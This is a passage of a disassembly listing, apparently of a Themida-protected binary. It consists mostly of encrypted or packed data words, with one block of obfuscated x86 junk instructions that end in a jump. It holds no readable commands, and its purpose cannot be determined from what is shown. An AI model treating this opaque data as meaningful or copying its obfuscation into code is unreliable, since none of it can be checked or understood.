		dd 2123DC9Fh, 0E7DB51C3h, 218D87F9h, 0E586E44Ah, 6246CCFAh
		dd 0AF13198Bh, 37BC730Eh, 53929CC8h, 4A33E2Ch, 1296E00Fh
		dd 0CA4CBEACh, 0F9E788E6h, 0BE1C8087h, 6246CCD3h, 0AF13198Bh
		dd 0C8EF2E0Eh, 9103FDAh, 0ABFE96E0h, 7DF799ABh,	350C72CEh
		dd 0B0E9E29Ah, 0F091E9A2h, 6AA56CBAh, 4B300Fh, 50450000h
		dd 0EA6C64DEh, 63C92F06h, 0BFE62505h, 0F190E3D1h, 846CFF98h
		dd 157EC7A4h, 0DD431D06h, 0A705E96Bh, 0E063BD0Ch, 9A4A9D96h
		dd 0BE8DC66Fh, 0E8835AC0h, 0A2B0BE30h, 8A2DF37h, 0F6A7DBAh
		dd 0FF7Eh, 251E9000h, 1C7AE0B7h, 7546CC31h, 0E9AB61EBh
		dd 0F14F7959h, 15499857h, 7226C1AFh, 629CC83Dh,	0D1BF96FCh
		dd 93927D7Eh, 0F20C70CCh, 0E7C722B2h, 0C83A98FEh, 0E8D45040h
		dd 3339AB82h, 0B98EE1CFh, 6E7EF79Ah, 0F2A6412Fh, 0E29CC849h
		dd 0D5471E7Ch, 0F5E95F5Fh, 0C53EE8Fh, 909CC845h, 0B0141A9Ah
		dd 3137A94Ah, 675FD345h, 0C84E18CCh, 349A009Ch,	173E7D5Dh
		dd 32EF8E29h, 87F996E0h, 0F9C11F8Fh, 0D312F293h, 0C023BEACh
		dd 0C69CC57Ah, 0E21F7260h, 1C006EA8h, 0BF311F7Dh, 0C4B2534Bh
		dd 0D854D871h, 2767DE59h, 579E6BEEh, 0C13391F7h, 5B0B5549h
		dd 67F1D2FDh, 1B9DC90h,	50D90000h, 0DC59CB6Ch, 59DD4FF0h
		dd 0E062D475h, 61E95BFCh, 411DDC7Dh, 9F40A4ACh,	21C2262Dh
		dd 0A748B4AFh, 2ACB3F35h, 893DD8C6h, 71A2B5B3h,	0DE50C4AFh
		dd 0A5177567h, 0AA9839ADh, 71CF3D38h, 8E8909FFh, 301BBC22h
		dd 0AF81F5Eh, 572E9298h, 0AA593F1h, 96E00CBBh, 5E12AD9Bh
		dd 46A2B043h, 1A8C7AE0h, 76DCB319h, 0EEA64118h,	0F5A2B042h
		dd 78C6E49Dh, 0D70F6A02h, 26FDE165h, 7249BFB4h,	0BF48A60Ch
		dd 0A3h, 6246CCD4h, 282B9D8Bh, 2987EDC4h, 744BB3B7h, 0C83392D9h
		dd 0AC10169Ch, 2F93990Bh, 12397858h, 9E6ED124h,	21B3AC26h
		dd 9B3AD5C3h, 7B96E0ABh, 98867415h, 23BE2E26h, 0A2B0CC6Fh
		dd 0B393F157h, 715F4D74h, 0BE9509FFh, 995FFA58h, 0ED9CCB25h
		dd 23279987h, 0DA5BCDBBh, 81F394F2h, 11CB1589h,	31F1D246h
		dd 0C9A65Ah, 40C90000h,	0CC49BB5Ch, 49CD3FE0h, 0D052C465h
		dd 51D94BECh, 510DCC6Dh, 8F30949Ch, 11B2161Dh, 9738A49Fh
		dd 1ABB2F25h, 792DC8B6h, 61A2B5B3h, 44CCB49Fh, 0C74DBF60h
		dd 0CC5742E3h, 198B6246h, 4FC1AF13h, 0BF12E9D5h, 3455553Dh
		dd 6DCB31D3h, 7AADECCCh, 9D0308F8h, 23FA60C6h, 0CE6957BDh
		dd 96E01689h, 0E8057BDh, 9103A418h, 0B550279Bh,	28A92C0Fh
		dd 44D2AF07h, 7AECDACEh, 9B0104F4h, 0C436D735h,	11835A4Eh
		dd 3B61BE17h, 68AE37EFh, 8B261402h, 112949D7h, 24FB59BFh
		dd 19810058h, 1EB9ADA7h, 11294A6Ah, 308EF45Ah, 0B35448BEh
		dd 0D7CB41h, 124Ch, 0D5705E00h,	11294A21h, 1CF3EB5Fh, 2A88EEB6h
		dd 0CC8F7A3Fh, 16885F45h, 63D5AC10h, 0B325FCE0h, 0FF7148BCh
		dd 4ABC930Bh, 9507DEC6h, 0E6582F93h, 35A77E6Eh,	73F5CC30h
		dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68242C89h, 50BFh
		dd 68241489h, 0F0Ah, 81243C89h,	4ECh, 243C8900h, 0B77110BFh
		dd 0E244BA4Fh, 0FA2955A4h, 3C8B545Fh, 4C48124h,	52000000h
		dd 4655BE56h, 74014343h, 8F5E0424h, 6F810847h, 43465508h
		dd 2434FF43h, 4C4815Fh,	8B000000h, 89522414h, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 138E95Ch, 5BD5FFFBh, 7CEBB81Ch
		dd 0C50305EDh, 58B0E0FFh, 1C55197Bh, 0B1337D9h,	42D03E56h
		dd 66CF3658h
		dd 442655Dh, 0F14E3B8Ch, 45263D7Dh, 816A178Eh, 88BF167Ah
		dd 445206CAh, 977818B7h, 0C08B0F1Ch, 0C0DB1BBAh, 89BD8320h
		dd 5E80Eh, 0BD830975h, 5E80BE9h, 50197400h, 0B8C08B53h
		dd 3FCh, 111D8589h, 9D8D05E8h, 5EAA94Eh, 585BD3FFh, 0BE9BD83h
		dd 740005E8h, 0B8535017h, 3FCh,	111D8589h, 9D8D05E8h, 5EAA63Dh
		dd 585BD3FFh, 0AE9h, 0B018AD00h, 86F9A44Eh, 6A9396F5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8BEEC350h, 14E8DFh, 0E0190000h, 0B6BE8F8Bh
		dd 92E8EF42h, 0D8721A82h, 0CB4E6179h, 8B6671EAh, 0C08B5BD0h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E2C35747h
		dd 0BF804A82h, 0D8E780E8h, 10B9BD83h, 0F0105E8h, 6684h
		dd 55CA8000h, 0BD83D18Bh, 5E808E1h, 54850F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 2757C357h, 953C0222h, 8085D46Fh, 0F18AF6C6h
		dd 835BD83h, 0F0005E8h,	9B84h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E9531DF6h
		dd 429h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 15h,	1CC35141h, 0C7BB6606h, 0E3h, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 6A453Fh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 3519BAC3h, 0CE985h, 90520000h, 4B14C88Dh, 15A2C39Bh
		dd 0D281D1E4h, 65CE14AFh, 0F1722C93h, 8EE69CE2h, 8E8F71D7h
		dd 0D6AC99C3h, 0CA05C122h, 0CA0D9DD4h, 8E999D5Ch, 0DECC993Ch
		dd 0E853B6DDh, 81EC4784h, 9E644B30h, 6C8C99C3h,	37201A95h
		dd 0AD9CA855h, 8B9E6B3Fh, 5D0C6E2h, 3EDC0CDh, 65C7F78Ah
		dd 0DB8CF382h, 8E8C9A2Bh, 4DD1B9E1h, 0AAE010ADh, 0AAC8187Ch
		dd 8E8C8038h, 4DD9DC1Eh, 40FEB106h, 8865C542h, 0D78C99C3h
		dd 99E2DDAh, 55C66E0h, 8A7B70A7h, 8EE6993Ch, 8E8F714Eh
		dd 0D6AC990Fh, 0CA05C144h, 0CA0D9DE7h, 8E9A9DC5h, 0DECC99F0h
		dd 0E8699DBBh, 8E891933h, 0AC37991Eh, 0DB886BEDh, 8E8C996Fh
		dd 630DC4C3h, 8B6119E5h, 66DA999Ah, 8E8C997Bh, 0D04FC71Ch
		dd 8AA8ED97h, 8AA8DD8Eh, 8E8C999Eh, 0A44FCF85h,	6B165760h
		dd 3183654Ch, 0DD4C12AAh, 0DCDCC967h, 8665CB4Eh, 0A28C990Fh
		dd 6DEA7959h, 81867A4Bh, 0D4EDF9D0h, 67BD96A8h,	8E8C996Ah
		dd 0E880F991h, 0EA886809h, 2CF75FBh, 0C0047182h, 0D6D6242Fh
		dd 0E4A89D68h, 8D64CFF0h, 0AE8C9978h, 7D25A62h,	0F88BD6Ah
		dd 9988BD4Bh, 0C88C9987h, 0F2185A95h, 7830E6Fh,	8E8C99F3h
		dd 81542677h, 70A8D53Dh, 66DC9974h, 8E8C990Ch, 0D64FC1A7h
		dd 8AA8DD4Ah, 8AA8DD60h, 8E8C99E9h, 8F4FC938h, 0A226749Bh
		dd 8B009679h
		db 0Fh
byte_5999E9	db 99h,	8Ch, 0E8h	; DATA XREF: Themida_:00556A94o
		dd 0FEDA4A06h, 9F06969Bh, 678C99E1h, 8E8C99FCh,	0BF940DA5h
		dd 375A4A51h, 1AD33F81h, 8B562600h, 8E8C9B8Bh, 5097F43h
		dd 0D98CF3E9h, 8E8C9A18h, 4DD3B978h, 0AAF01063h, 0AAC8181Ah
		dd 8E8C850Bh, 4DDBDE87h, 0C60C4488h, 0C2EBDB9Fh, 8C009696h
		dd 3D8C9978h, 8E8A7099h, 55A3991Eh, 7D7F04B0h, 72C412E1h
		dd 8E9870A3h, 0DB4C99E1h, 0E858E3D3h, 0ADF75F57h, 0CC5D20FCh
		dd 816D7F2Eh, 393B9E88h, 8E8D21E6h, 8EE699C3h, 8E8F71B2h
		dd 0D5AC99F0h, 0D205C2BBh, 0CA0D9D18h, 8E969D3Ah, 0DDCF990Fh
		dd 15EA1144h, 0B5CD31DFh, 1F551287h, 4DC3142h, 66EC0881h
		dd 8E8C992Fh, 7AEBA373h, 0CEA7BF0Eh, 747A7828h,	4F463EDBh
		dd 67D81E77h, 8E8C99F5h, 0DACF6D21h, 0EF79C203h, 0F44E2278h
		dd 5551569h, 8A4D6F51h,	8F821CCCh, 8EE699E1h, 8E8F71A1h
		dd 0D7AC9978h, 0C205C0FFh, 0CA0D9D3Ah, 8E9B9D2Bh, 0DFCD9987h
		dd 0FB60DF00h, 3983C882h, 8365C322h, 7C8C9978h,	0E8938961h
		dd 7F0D4EEEh, 0B5C093C1h, 8E8C926Eh, 634273C3h,	4651DA2Ah
		dd 0E36A7DB4h, 0D98CF321h, 8E8C9AD4h, 4DD3B91Eh, 0AAF01050h
		dd 0AAC81883h, 8E8C8CC7h, 4DDBDEE1h, 886435C6h,	0DA8C9978h
		dd 75CC6EA9h, 5706C285h, 81E4A08Fh, 8E8C7802h, 55813C3h
		dd 35EA9898h, 440CF956h, 8E731898h, 810C993Ch, 8E8C509Ch
		dd 5BAB230Fh, 0B4BA277h, 8B61E6C3h, 8E8C99E0h, 8E8C2119h
		dd 0DC8CF378h, 8E8C9AD4h, 4DD6B91Eh, 0AAD81055h, 0AAC81883h
		dd 8E8C8CC7h, 4DDEDBE1h, 0A835FE8h, 8E8C997Ch, 539F235Ah
		dd 8E8C8BF7h, 31A5560Fh, 0D136F65Ch, 0E197B49Bh, 0E0C6E19Bh
		dd 67F6B65Ah, 8E8C990Ah, 66DE9956h, 8E8C991Dh, 0D44FC32Fh
		dd 8AA8CD0Eh, 8AA8DD42h, 8E8C99F6h, 664FCBB2h, 34FA5352h
		dd 91A9671Ch, 0DC8CF347h, 8E8C9AE7h, 4DD6B987h,	0AAD81099h
		dd 0AAC818E5h, 8E8C8EF4h, 4DDEDB78h, 645D083Dh,	0BC26227Eh
		dd 0EF79BBBAh, 85F51AE1h, 9508963Ch, 0E88C99E1h, 49B1824Ah
		dd 63F399FDh, 8E8C9839h, 5C37F91Eh, 0FB9F101h, 88891E64h
		dd 5C4F8B7h, 0DD7E2039h, 0B01B4F5h, 8B611C63h, 0DA824B1h
		dd 76B79CF3h, 81BC9E7Bh, 65CB5056h, 0DB7E1936h,	66DC998Bh
		dd 8E8C99F3h, 0D64FC158h, 8AA8DDB5h, 8AA8DD9Fh,	8E8C9919h
		dd 694FC9C7h, 5EAE6AAh,	37311A37h, 8F8971E0h, 8E1C1D77h
		dd 8EE6993Ch, 8E8F714Eh, 0D6AC990Fh, 0CA05C144h, 0CA0D9DE7h
		dd 8E909DC5h, 0DECC99F0h, 0D306B9BBh, 13F0C0C4h, 883C6BCh
		dd 8E8C990Bh, 362A23E1h, 866D2440h, 818C9C09h, 8E8CCC75h
		dd 0DF8CF378h, 8E8C9AD4h, 4DD5B91Eh, 0AAC01056h, 0AAC81883h
		dd 8E8C8CC7h, 4DDDD8E1h, 0E8DD3D00h, 66D647F3h,	8E8C9933h
		dd 5FD0D388h, 19366E00h, 2E0F5165h, 81397C6Eh, 8E8C9B6Ah
		dd 0D5762BF0h, 86B924FBh, 818C9CD4h, 8E8C8F9Ah,	986B190Fh
		dd 50125A06h, 6C659CA0h, 0E88C99E1h, 0BB36467Bh, 0DDBAA83h
		dd 669C2081h, 0B83981Bh, 8E8C9994h, 8E8471D7h, 13EE99C3h
		dd 0D631BE99h, 0FEA148Bh, 0D5AF3B8Ah, 8EE6C466h, 8E8F714Dh
		dd 0D5AC990Fh, 0D205C244h, 0CA0D9DE7h, 8E909DC5h, 0DDCF99F0h
		dd 19049EBBh, 83D8C0DCh, 0E44F110Dh, 8D64CA0Fh,	0AE8C9987h
		dd 7D75A98h, 0F88BDBDh,	9988BDB4h, 0CD8C9978h, 7F115A6Fh
		dd 4837CF2Ch, 67F04E09h, 8E8C9982h, 0B9A230FEh,	8ED370BCh
		dd 8EE699F0h, 8E8F7129h, 0D7AC993Ch, 0C205C0DDh, 0CA0D9D2Bh
		dd 8E959DA3h, 0DFCD99C3h, 40C4E922h, 810D1B93h,	8E8C9FF1h
		dd 0D1DDF93Ch, 0D3ED4395h, 0E4434984h, 8D64C887h, 0AE8C99C3h
		dd 7D55AB8h, 0F88BDBCh,	9A88BD3Ch, 0CF8C993Ch, 67CA5A4Fh
		dd 8E8C9902h, 7F8E7039h, 0D142DCAh, 130CE191h, 0D931142Eh
		dd 3897407h, 630871B1h,	0D291211Bh, 0BBFE235h, 8B6494FAh
		dd 674D56E8h, 0F5DD7E20h, 630B01B4h, 0B18B611Ch, 0F30DA824h
		dd 7B76B79Ch, 5681BC9Eh, 5E98350h, 0BD83A4F3h, 5ED7F00h
		dd 8D0D7400h, 0E84D6A8Dh, 1B805h, 0E1FF0000h, 14F78040h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6EC35646h
		dd 60D992E9h, 0BB99EBB8h, 4675AA26h, 58E0Fh, 56BA0000h
		dd 836164E8h, 71B32DE8h, 0BE9C08Bh, 8B000000h, 0E676495h
		dd 3C8D3CDAh, 0BD83C46Eh, 5E80E89h, 83097500h, 0E80BE9BDh
		dd 19740005h, 0C08B5350h, 3FCB8h, 0F9858900h, 8D05E81Ah
		dd 0EAA9B59Dh, 5BD3FF05h, 0E9BD8358h, 5E80Bh, 53501774h
		dd 3FCB8h, 0F9858900h, 8D05E81Ah, 0EAA6569Dh, 5BD3FF05h
		dd 0D08B6658h, 309C2EBAh, 0EBC08B79h, 2Dh, 0AE0DD000h
		dd 0F2319CBFh, 0A5ADF9DFh, 528C88A7h, 0B7FB75h,	0ADF99CBEh
		dd 89937EE5h, 8168009Dh, 0BD146726h, 27E603B2h,	0B4E94C7Eh
		dd 6800000Ah, 5ED86DCh,	0FAF8A5E9h, 885068FFh, 9BE905EDh
		dd 68FFFAF8h, 5ED895Eh,	0FAF891E9h, 89ED68FFh, 87E905EDh
		dd 68FFFAF8h, 5ED8ACBh,	0FAF87DE9h, 8B8E68FFh, 73E905EDh
		dd 68FFFAF8h, 5ED8C47h,	0FAF869E9h, 8E2968FFh, 5FE905EDh
		dd 68FFFAF8h, 5ED8F1Ch,	0FAF855E9h, 0AB1118FFh,	2F9D980Ah
		dd 0B4181C8Eh, 3BA7A113h, 0BC20289Ah, 0EB805C1Bh, 6CDE7F67h
		dd 0EE6001E7h, 74E68775h, 5690AFEh, 0BDC87C17h,	0EEB0A2B5h
		dd 0F81F5E03h, 0B2186F0Ah, 0E04696DFh, 8E8A80F2h, 0B5BD3FF3h
		dd 5BC127A2h, 0DEC248BAh, 0C1E82707h, 37C438D3h, 42B49CCDh
		dd 0A2BDEFC0h, 611E24F5h, 0B9A795FBh, 7DECE47h,	5BD143A1h
		dd 0DE54C667h, 0F43313EAh, 0BD44DFCDh, 8D96E179h, 0A0A4141Bh
		dd 99FFD63Ch, 89E7E933h, 4017F7B9h, 9278Ch, 3BA1A800h
		dd 0BF2D289Ah, 44A8AC1Eh, 0CB3731A3h, 4CB0B82Ah, 7B30ECABh
		dd 0FC6E0FF7h, 7EF09177h, 4761785h, 95F99A0Eh, 0BE580CA7h
		dd 7E40A2B5h, 6246CC93h, 0A313198Bh, 0C4282CACh, 0BB2187EDh
		dd 0E6D92C1Ah, 881EAE47h, 241217Fh, 64FFEDDBh, 9CC8ABB0h
		dd 0A9443298h, 9CC8ABF5h, 33217FE5h, 40BAF245h,	61915FF6h
		dd 93E6AD99h, 5BB9AF8Ch, 0E02791C0h, 441B8196h,	78020356h
		dd 0D4ADA94Eh, 0CE23DB76h, 0D22AA2B0h, 89ADFBAFh, 52710F6Ah
		dd 86000000h, 0AF81F5Eh, 0E00C206Fh, 0F9FB4E96h, 48F60985h
		dd 0E0CEA50Bh, 3CA357F2h, 62E9A2B0h, 2DC8B67Eh,	0A2B03D79h
		dd 3795FB61h, 0B03CE49Ch, 0B2262AA2h, 0C7249B3h, 0D95DCFA6h
		dd 0AAAC1EF5h, 0A9096F46h, 41F23051h, 0C41298E9h, 880F69FCh
		dd 0D7h, 6246CC9Dh, 0A111198Bh,	0FED53BA7h, 4B22868Ch
		dd 0CE6F53D9h, 0C8347833h, 0CF6A589Ch, 9CC83B1Bh, 20F7EB61h
		dd 2E8CF2BAh, 0B152B6BCh, 4FC9C93Fh, 19F0DC57h,	10E74DB3h
		dd 4BAFCF22h, 596639E3h, 0E033A57Eh, 0DC2F9552h, 0A8247254h
		dd 9777D5D6h, 0D1433158h, 298F665Ah, 0A742DDCBh, 8F96E070h
		dd 69A88829h, 0EBB95442h, 0AB9CC5E9h, 0F7CE3239h, 42198D85h
		dd 30476DCh, 0D749379Dh, 58CA6B53h, 7864E0D0h, 0B9C4C812h
		dd 2900F1D3h, 7B375h, 0AF151C00h, 33999C0Eh, 0B8242092h
		dd 3FA3A517h, 0C0242C9Eh, 0EFBC601Fh, 70E2837Bh, 0F26405FBh
		dd 78EA8B71h, 96D0EF2h,	0BFCC801Bh, 0FABCA2B5h,	6044CC0Fh
		dd 0EB5FD1BFh, 0B66A05F3h, 9E9CC837h, 0E268DA38h, 5E725DFEh
		dd 8468EC1Fh, 4695301Eh, 0E96E00Ch, 0D7359B9Ch,	0E4D2A90Fh
		dd 2F06FE72h, 0F1DD57C9h, 4340F893h, 0EF47A2B0h, 2CA1892h
		dd 0DB8E0F6Ah, 0A3000000h, 0DC5646CCh, 0A47B61E4h, 9B01D83Eh
		dd 64EC5E35h, 530EA980h, 0F99CC834h, 7CEE8F73h,	9D0F06F6h
		dd 0D77260C6h, 9CC83B23h, 5947AD13h, 445A1C06h,	0A6ADE98Ch
		dd 0A77EDC42h, 736188C7h, 48FC9785h, 309CC88Ah,	36D16CCAh
		dd 496E059h, 0C53EB09Eh, 0EAD879D7h, 64D01C97h,	304A475h
		dd 0F9D9379Dh, 208C87BAh, 6B53D749h, 3FB19F05h,	8876D4C8h
		dd 0BF2D289Ah, 0B1CBC661h, 0C52B9CCAh, 0F9ED65D7h, 329E990Bh
		dd 0F697F55Bh, 0CE188C84h, 0F1D36D00h, 0A5853910h, 2A000006h
		dd 0AA1CBD27h, 2EA041ABh, 0B325C636h, 3AAC4DB1h, 6E2DCE36h
		dd 9175FDAEh, 13897EF0h, 99070072h, 1C8086F8h, 8E29177Bh
		dd 0A2B5C0DAh, 0CC1D08CAh, 4DBF6044h, 5442E3C7h, 3817CB66h
		dd 99FF9CC8h, 46CC503Bh, 2B9D8B62h, 86ECC32Bh, 4EAC1014h
		dd 0D17256DCh, 0C8387E36h, 0F017569Ch, 0B2226702h, 0E7496DFh
		dd 48B4AE20h, 848AFCEAh, 70D7F20h, 0C143B5A3h, 0C8A87FDDh
		dd 0D9746289h, 9CCD908Ah, 583882E8h, 84F1D670h,	616F9ADh
		dd 0B0B90000h, 3C39AB4Ch, 0B9BD2FD0h, 0C042B455h, 41C93BDCh
		dd 21FDBC5Dh, 7F20848Ch, 1A2060Dh, 8728948Fh, 0AAB1F15h
		dd 691DB8A6h, 51A2B5C1h, 46CCA48Fh, 0EFEDAF75h,	0AA105C6Fh
		dd 0F7EB61D3h, 88F95120h, 9B362412h, 9CC8EFE7h,	1ACE69CFh
		dd 0A9CC8F0h, 5ED446A4h, 8E377E7Dh, 0C026F4F7h,	46F3411Fh
		dd 0FF520982h, 0FF3BF317h, 911A782Ch, 7, 1668AA6h, 0A39F0000h
		dd 9CC837EBh, 0D7CF43B5h, 379A4EE9h, 248A9CC8h,	80A7E6C6h
		dd 3C32A492h, 4F5E75C8h, 8BC3F25Eh, 2C46922Dh, 9C0E96E0h
		dd 0F95F369Ah, 49208C87h, 1D8F7DE3h, 2412B317h,	36E79B36h
		dd 69CFA2B6h, 2393990Bh, 46AAAC2Ch, 3DA3096Fh, 20478666h
		dd 0A489732h, 0C0269CCEh, 0D6D98C76h, 41F5CCF1h, 538h
		dd 892A9297h, 0DAE1E17h, 92339B9Bh, 19BA2620h, 9A3BA3A7h
		dd 0E66A03DBh, 64EB5DFEh, 0EA6DDF80h, 7DF36506h, 9684E889h
		dd 0B5C247FBh, 826D2FA2h, 8B6246CCh, 8C271319h,	9CC837D8h
		dd 0D16C5AC0h, 9CC8381Dh, 5341A70Dh, 79725B00h,	0DD3B9046h
		dd 0F6493706h, 1954614Ch, 8EE6444Dh, 0B92D23F3h, 0EFD359CBh
		dd 0C412F091h, 880982B8h, 0Ch, 0BF2D289Ah, 858A7661h, 9F000000h
		dd 0AF81F5Eh, 0DFB2186Fh, 0F2E04696h, 75168A80h, 0C2990D03h
		dd 8E7CA3E2h, 0CD377FF3h, 9381E79Ch, 0AAAB2B21h, 0C93BDC42h
		dd 0A8885F43h, 0B9544269h, 96E0E832h, 0DEC248BAh, 852B880h
		dd 0F7B9175Ch, 75DD9168h, 5A000004h, 0DA4CEDD7h, 5ED0715Bh
		dd 0E355F6E6h, 6ADC7D61h, 9E5DFEE6h, 0C1252DFEh, 43B9AE20h
		dd 0C93730A2h, 4CB0B628h, 0BE5947ABh, 0A2B5C30Ah, 8A4D38FAh
		dd 10Eh, 0C3292A9Ch, 3D2886ECh,	0AF81F5Eh, 43A9AA1Ch, 0DA8066Ch
		dd 96DFB2B6h, 0DE503EA4h, 33867468h, 0FD2A40EEh, 19BA188Eh
		dd 663DA1A7h, 9E0E0678h, 230361C7h, 7CCFBDE4h, 0CBFFA7B1h
		dd 0A896F462h, 0CD91990Dh, 190F819Ch, 91CE821Dh, 50B69CC8h
		dd 47AD13EAh, 7D61E759h, 0E46ADCh, 8EE83B29h, 7E29D6C4h
		dd 73A57A77h, 0BF1B8220h, 1B428161h, 7F0B922Dh,	55BB96E1h
		dd 0B98E550Bh, 0EA9E75F7h, 3BCh, 5A61E13h, 892A9293h, 0EAF1F17h
		dd 95369A9Ch, 16B72F23h, 62E68757h, 0E067D97Ah,	6EE95BFCh
		dd 0F96FE182h, 12006405h, 0B5C3C377h, 6F1B3A2h,	8B6246CCh
		dd 0D8AF1319h, 2900EC66h, 0DE50BCB7h, 0E69E7567h, 602FF38Eh
		dd 979D7908h, 66B49233h, 2A0981F7h, 32h, 0F81F5E3Fh, 0CA9D6F0Ah
		dd 6BD196E0h, 0A30B0B7Dh, 84B06702h, 7EF4A2B0h,	4118847Eh
		dd 62D475DBh, 3523FAE2h, 7C181CE2h, 0E2405845h,	3332Eh
		dd 0DE504300h, 0EC666Ah, 49CA3C9Ah, 0D037563h, 0F2643B99h
		dd 75E7887Ch, 0C2340BFFh, 0E0C44C4Ch, 0B3D6638Dh, 0E94F1616h
		dd 0A701A8FBh, 0B0558F8Fh, 92D1B152h, 0B3E27D6Bh, 0A396E0D1h
		dd 63C93531h, 0FE39F18Ch, 877FA2B0h, 58CE4017h,	17EED258h
		dd 0BC744BB1h, 54051D64h, 0D72585FCh, 9B0F6AB9h, 40h, 0F81F5EB0h
		dd 329E980Ah, 0A997F55Bh, 0E00CBF0Eh, 5B49AF96h, 883C5808h
		dd 0E9B1F763h, 0EFB12946h, 330A68CEh, 0B0A0E098h, 0F28FE7A2h
		dd 6A606AB8h, 0C676C90Fh, 5299CAFEh, 19CD56B4h,	0E2000001h
		dd 746246CCh, 3837EB86h, 0B91F9CC8h, 1E12845Bh,	0D75DCFA6h
		dd 0A4AA1CF3h, 49049F40h, 8B9CC834h, 1DE49738h,	0FA58D7DBh
		dd 7D1E8288h, 0CAA1050Bh, 0A8B889DCh, 0D027BDE8h, 1FF6E65Eh
		dd 3C7B5BB9h, 0D33EF28Dh, 0FB7C9CC8h, 10D83E15h, 6138A49Eh
		dd 412F95FBh, 7864E153h, 42DD3BA1h, 96E0B7A3h, 36EA8573h
		dd 93A2B0B9h, 18FCE7BCh, 67CD9506h, 0A9A11301h,	5636D735h
		dd 6702F017h, 9CC57004h, 9B362412h, 9CCAE2E7h, 1ACE69CFh
		dd 0A9CCAE3h, 0DE503EA4h, 9B4FEA6Ah, 8B9CCAE2h,	4DB1B325h
		dd 0E65846E7h, 0AC1E7C60h, 2EF640A4h, 6AF1D392h, 1DADF93h
		dd 7CF50000h, 0F075E788h, 7DF96B0Ch, 847EF091h,	0D057718h
		dd 6539F899h, 0BB5C40C8h, 3DDEC249h, 0C36448CBh, 46E7DB51h
		dd 0A559F4E2h, 95A2B5C5h, 44CCE8D3h, 0A007260h,	0FB59BF96h
		dd 7BFA6C5Ah, 4BC13391h, 388034CFh, 7A689CC8h, 0C8382BDFh
		dd 4FB51B9Ch, 6C5A48E9h, 0C8381DD1h, 35A70D9Ch,	846FCD31h
		dd 0AF81F5Eh, 0E00C206Fh, 11E84E96h, 0B042BE76h, 65D7C5A2h
		dd 49A1FFE3h, 2247238h,	0A7E80F6Ah, 0FD000000h,	962AFD50h
		dd 9DF0D45Bh, 301EFAE1h, 0C8BDE195h, 563C99Ch, 52299D93h
		dd 887CF264h, 0D5AC1016h, 0AB9F116Fh, 6C15C33h,	4A9CC8BAh
		dd 0CD3FE0C4h, 0AC8C6347h, 0BD58466Dh, 96E0A21Eh, 15F596FCh
		dd 0D3C1AFD6h, 0B0D78438h, 0B00E74A2h, 316127C2h, 0CF359CCBh
		dd 3FB6FE1h, 3AA2A315h,	41C93BDCh, 2081135Dh, 0BA91F1D3h
		dd 0E706h, 7B61E800h, 0FFED68DAh, 8468EC5Eh, 0BF771E3h
		dd 8C70F86Ah, 0BB702CEBh, 3CAE4FB7h, 0BE30D137h, 44B65745h
		dd 0D539DACEh, 0C6984CE7h, 0BE80A2B5h, 6044CCD3h, 0E3C74DBFh
		dd 46CC5742h, 87EDDF56h, 4CC83EB0h, 0C837FDB1h,	1587ED9Ch
		dd 6FD5AC10h, 0ACA91B09h, 7CF76940h, 2BCC2A90h,	0D844CB3Dh
		dd 0C838893Dh, 0A50B719Ch, 71F668CEh, 0E4D2D8Bh, 1D0BF9E7h
		dd 0C837CE82h, 0F250B69Ch, 0DFB20857h, 56CE4096h, 0CB298F66h
		dd 269A9103h, 0F177E9C0h, 74FA6C0Dh, 0A71EB990h, 0A7D0A1E6h
		dd 6EE4324Fh, 0E167D97Ah, 0C63826FDh, 8E005E4Eh, 85512894h
		dd 9F56A997h, 218CE163h, 93A256F1h, 3F92E946h, 28A539EDh
		dd 91EF5525h, 0E0524839h, 0A4167468h, 27993AAEh, 32E6BD21h
		dd 0Ch,	70FD5047h, 787F4028h, 0F5E0A402h, 885F45CCh, 0D5AC1016h
		dd 25FCE063h, 7148BCB3h, 0BC930BFFh, 7DEC64Ah, 582F9395h
		dd 0A77E6EE6h, 0F5CC3035h
		db 73h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	1F74h
		mov	[esp], esi
		push	ecx
		mov	ecx, 6A1D1A80h
		add	ecx, 9BD06BCCh
		push	ecx
		pop	eax
		pop	ecx
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	edx
		mov	edx, 8
		mov	ebx, edx
		pop	edx
		add	ebx, esi
		mov	[ebx], eax
		pop	ebx
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5497CE
; ---------------------------------------------------------------------------
		align 2
		dw 8B95h
		dd 0B8747E22h, 5ED9028h, 0E0FFC503h, 7B92EAA2h,	289A4897h
		dd 319244DAh, 57273CBBh, 1C4FA62Ch, 6976DBE6h, 79DB4E65h
		dd 38D0470Fh, 32CC3D3Bh, 3645D8D2h, 497F056Ah, 39C194A3h
		dd 2A385517h, 24801A04h, 488F77B2h, 0B9FB6B9h, 748637F3h
		dd 6DE5DDEFh, 5F5DD573h, 4244C577h, 5CCCFF1h, 2AF60864h
		dd 750BE603h, 0D010D6Fh, 6C5A3412h, 3AABCFE0h, 3107D30Ah
		dd 1C0FD9CEh, 71D22ECDh, 4E18BF3Fh, 15CE9h, 661D3B00h
		dd 7E49C1F0h, 6C5AB196h, 67543B0Ah, 6454F853h, 6F5A930Ah
		dd 44739F53h, 16268E3Ah, 36272353h, 827B79C4h, 51B49D60h
		dd 20168752h, 20179753h, 2016DF53h, 2016EB53h, 2016F753h
